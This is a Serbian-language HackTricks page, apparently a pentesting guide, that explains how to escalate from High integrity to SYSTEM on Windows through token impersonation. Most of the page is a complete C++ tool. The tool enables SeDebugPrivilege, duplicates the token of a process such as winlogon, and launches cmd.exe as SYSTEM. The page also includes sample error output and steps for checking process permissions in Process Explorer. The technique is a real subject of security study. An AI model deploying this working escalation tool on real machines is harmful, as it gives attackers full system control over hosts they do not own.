SeImpersonate from High To System

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Kod

Sledeći kod sa ovde. Omogućava navođenje ID procesa kao argumenta i CMD pokretanje kao korisnik navedenog procesa će biti pokrenuto. Pokretanje u procesu Visoke Integriteta možete navesti PID procesa koji se izvršava kao Sistem (kao što su winlogon, wininit) i izvršiti cmd.exe kao sistem.

impersonateuser.exe 1234
impersonateuser.cpp

```cpp // From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962

#include <windows.h> #include #include <Lmcons.h> BOOL SetPrivilege( HANDLE hToken, // access token handle LPCTSTR lpszPrivilege, // name of privilege to enable/disable BOOL bEnablePrivilege // to enable or disable privilege ) { TOKEN_PRIVILEGES tp; LUID luid; if (!LookupPrivilegeValue( NULL, // lookup privilege on local system lpszPrivilege, // privilege to lookup &luid)) // receives LUID of privilege { printf("[-] LookupPrivilegeValue error: %u\n", GetLastError()); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if (bEnablePrivilege) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. if (!AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError()); return FALSE; } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { printf("[-] The token does not have the specified privilege. \n"); return FALSE; } return TRUE; } std::string get_username() { TCHAR username[UNLEN + 1]; DWORD username_len = UNLEN + 1; GetUserName(username, &username_len); std::wstring username_w(username); std::string username_s(username_w.begin(), username_w.end()); return username_s; } int main(int argc, char** argv) { // Print whoami to compare to thread later printf("[+] Current user is: %s\n", (get_username()).c_str()); // Grab PID from command line argument char* pid_c = argv[1]; DWORD PID_TO_IMPERSONATE = atoi(pid_c); // Initialize variables and structures HANDLE tokenHandle = NULL; HANDLE duplicateTokenHandle = NULL; STARTUPINFO startupInfo; PROCESS_INFORMATION processInformation; ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION)); startupInfo.cb = sizeof(STARTUPINFO); // Add SE debug privilege HANDLE currentTokenHandle = NULL; BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle); if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE)) { printf("[+] SeDebugPrivilege enabled!\n"); } // Call OpenProcess(), print return code and error code HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE); if (GetLastError() == NULL) printf("[+] OpenProcess() success!\n"); else { printf("[-] OpenProcess() Return Code: %i\n", processHandle); printf("[-] OpenProcess() Error: %i\n", GetLastError()); } // Call OpenProcessToken(), print return code and error code BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle); if (GetLastError() == NULL) printf("[+] OpenProcessToken() success!\n"); else { printf("[-] OpenProcessToken() Return Code: %i\n", getToken); printf("[-] OpenProcessToken() Error: %i\n", GetLastError()); } // Impersonate user in a thread BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle); if (GetLastError() == NULL) { printf("[+] ImpersonatedLoggedOnUser() success!\n"); printf("[+] Current user is: %s\n", (get_username()).c_str()); printf("[+] Reverting thread to original user context\n"); RevertToSelf(); } else { printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken); printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError()); } // Call DuplicateTokenEx(), print return code and error code BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle); if (GetLastError() == NULL) printf("[+] DuplicateTokenEx() success!\n"); else { printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken); printf("[-] DupicateTokenEx() Error: %i\n", GetLastError()); } // Call CreateProcessWithTokenW(), print return code and error code BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\Windows\System32\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation); if (GetLastError() == NULL) printf("[+] Process spawned!\n"); else { printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess); printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError()); } return 0; }

### Greška

U nekim slučajevima možete pokušati da se predstavite kao System i neće uspeti, prikazujući izlaz kao u sledećem primeru:
```cpp
[+] OpenProcess() success!
[+] OpenProcessToken() success!
[-] ImpersonatedLoggedOnUser() Return Code: 1
[-] ImpersonatedLoggedOnUser() Error: 5
[-] DuplicateTokenEx() Return Code: 0
[-] DupicateTokenEx() Error: 5
[-] CreateProcessWithTokenW Return Code: 0
[-] CreateProcessWithTokenW Error: 1326

Ovo znači da čak i ako radite na nivou visokog integriteta nemate dovoljno dozvola. Proverimo trenutne administratorske dozvole nad procesima svchost.exe pomoću proces explorera (ili možete koristiti i process hacker):

  1. Izaberite proces svchost.exe

  2. Desni klik --> Properties

  3. Unutar kartice "Security" kliknite na dugme "Permissions" u donjem desnom uglu

  4. Kliknite na "Advanced"

  5. Izaberite "Administrators" i kliknite na "Edit"

  6. Kliknite na "Show advanced permissions"

Prethodna slika sadrži sve privilegije koje "Administrators" imaju nad izabranim procesom (kao što možete videti u slučaju svchost.exe imaju samo privilegiju "Query")

Pogledajte privilegije koje "Administrators" imaju nad winlogon.exe:

Unutar tog procesa "Administrators" mogu "Read Memory" i "Read Permissions" što verovatno omogućava Administratorima da se predstave kao token koji koristi ovaj proces.

Last updated